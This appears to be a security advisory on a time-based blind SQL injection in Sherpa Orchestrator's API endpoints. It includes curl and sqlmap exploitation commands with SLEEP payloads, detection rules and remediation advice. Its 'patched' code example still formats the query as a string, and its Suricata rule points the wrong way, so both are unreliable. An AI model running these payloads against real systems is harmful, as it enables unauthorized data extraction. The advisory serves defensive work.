CVE-2025-46546

Executive Summary

CVE-2025-46546 is a time-based blind SQL injection vulnerability affecting Sherpa Orchestrator version 141851. An authenticated attacker can exploit multiple API endpoints to perform blind SQL injection attacks, potentially extracting sensitive data from the backend database. The vulnerability has a low CVSS score of 3.5 due to the requirement for authentication and the limited impact on confidentiality. No public proof-of-concept (PoC) code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary orchestration platform (Sherpa Orchestrator). Supply chain risk is limited to the vendor's software distribution channels.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (Data extraction possible)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Low. Exploitation requires valid credentials, and the impact is limited to data leakage via blind SQL injection. However, the number of affected endpoints increases the attack surface.

Deep Dive & Mechanics

The vulnerability exists in multiple API endpoints of Sherpa Orchestrator. The application fails to properly sanitize user-supplied input before incorporating it into SQL queries. By injecting time-based SQL payloads (e.g., IF(condition, SLEEP(5), 0)), an attacker can infer information from the database based on response delays.

Affected Endpoints:

• /api/gui/asset/list
• /api/gui/files/export/csv/
• /api/gui/files/list
• /api/gui/process/export/csv
• /api/gui/process/export/xlsx
• /api/gui/process/listAll
• /api/gui/processVersion/export/csv/
• /api/gui/processVersion/export/xlsx/
• /api/gui/processVersion/list/
• /api/gui/robot/list/
• /api/gui/task/export/csv/
• /api/gui/task/export/xlsx/
• /api/gui/task/list/

The injection likely occurs in parameters such as sort, filter, search, or order fields. The backend uses these parameters to construct SQL queries without proper parameterization.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example vulnerable Python code
def list_assets(request):
    sort = request.GET.get('sort', 'id')
    query = f"SELECT * FROM assets ORDER BY {sort}"
    # No sanitization - direct concatenation
    cursor.execute(query)

Patched Code (Conceptual):

# Example patched code using parameterized queries
def list_assets(request):
    sort = request.GET.get('sort', 'id')
    allowed_sorts = ['id', 'name', 'created_at']
    if sort not in allowed_sorts:
        sort = 'id'
    query = "SELECT * FROM assets ORDER BY %s" % sort
    # Still not ideal - use whitelist approach
    cursor.execute(query)

Note: No official patch is available. The above is a hypothetical fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid authenticated session (cookie or token)
• Network access to Sherpa Orchestrator

Exploitation Steps:

1. Authenticate and obtain a session cookie.
2. Use a tool like sqlmap or manual injection to test endpoints.

Manual Injection Example:

# Test for time-based blind SQLi on /api/gui/asset/list
curl -X GET "http://target/api/gui/asset/list?sort=id" \
  -H "Cookie: session=valid_session_cookie" \
  --output /dev/null -w "%{time_total}"

# Inject time-based payload
curl -X GET "http://target/api/gui/asset/list?sort=id,IF(1=1,SLEEP(5),0)" \
  -H "Cookie: session=valid_session_cookie" \
  --output /dev/null -w "%{time_total}"

Automated Exploitation with sqlmap:

sqlmap -u "http://target/api/gui/asset/list?sort=id" \
  --cookie="session=valid_session_cookie" \
  --batch --time-sec=5 --level=3 --risk=2

Blue Team

Detection Steps:

1. Monitor for unusual response delays in API endpoints.
2. Look for SQL keywords in HTTP parameters (e.g., SLEEP, IF, BENCHMARK).
3. Correlate multiple requests from the same IP with varying delays.

Honeypot Setup:

• Deploy a decoy Sherpa instance with fake data.
• Monitor for injection attempts and log all parameters.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL keywords in parameters (e.g., SLEEP, IF, BENCHMARK)
• Unusually long response times (>5 seconds) for API endpoints
• Repeated requests to multiple affected endpoints from the same IP

Host IOCs:

• Database query logs showing SLEEP() or BENCHMARK() functions
• Web server logs with sqlmap user-agent or similar tools

File IOCs:

• Temporary files created by sqlmap in /tmp/ or %TEMP%

Detection Engineering

YARA Rule

rule CVE_2025_46546_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting Sherpa Orchestrator"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-46546"
    strings:
        $sleeper = /SLEEP\s*\(/ nocase
        $benchmark = /BENCHMARK\s*\(/ nocase
        $if_sql = /IF\s*\(/ nocase
        $waitfor = /WAITFOR\s+DELAY/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-46546 - Time-Based Blind SQL Injection Attempt
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects time-based SQL injection attempts against Sherpa Orchestrator API endpoints
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'SLEEP('
            - 'BENCHMARK('
            - 'IF('
            - 'WAITFOR'
        cs-uri-stem|contains:
            - '/api/gui/asset/list'
            - '/api/gui/files/export/csv/'
            - '/api/gui/files/list'
            - '/api/gui/process/export/csv'
            - '/api/gui/process/export/xlsx'
            - '/api/gui/process/listAll'
            - '/api/gui/processVersion/export/csv/'
            - '/api/gui/processVersion/export/xlsx/'
            - '/api/gui/processVersion/list/'
            - '/api/gui/robot/list/'
            - '/api/gui/task/export/csv/'
            - '/api/gui/task/export/xlsx/'
            - '/api/gui/task/list/'
    condition: selection
falsepositives:
    - Legitimate use of SLEEP function in application logic (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-46546 - Time-Based Blind SQL Injection Attempt";
    flow:to_server,established;
    content:"/api/gui/"; http_uri;
    pcre:"/(SLEEP|BENCHMARK|IF|WAITFOR)\s*\(/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-46546;
)

Remediation & Mitigation

Immediate Actions:

1. Disable affected endpoints if not required for business operations.
2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Restrict API access to trusted IPs or VPN only.

Long-Term Fixes:

1. Parameterize all SQL queries using prepared statements or stored procedures.
2. Implement input validation with whitelist-based filtering for sort/filter parameters.
3. Apply least privilege to database accounts used by the application.
4. Monitor vendor updates for an official patch.

Workaround:

• If source code is available, modify the affected endpoints to use parameterized queries as shown in the patched code example.

Valters IT
DevSecOps & Cyber Threat Intelligence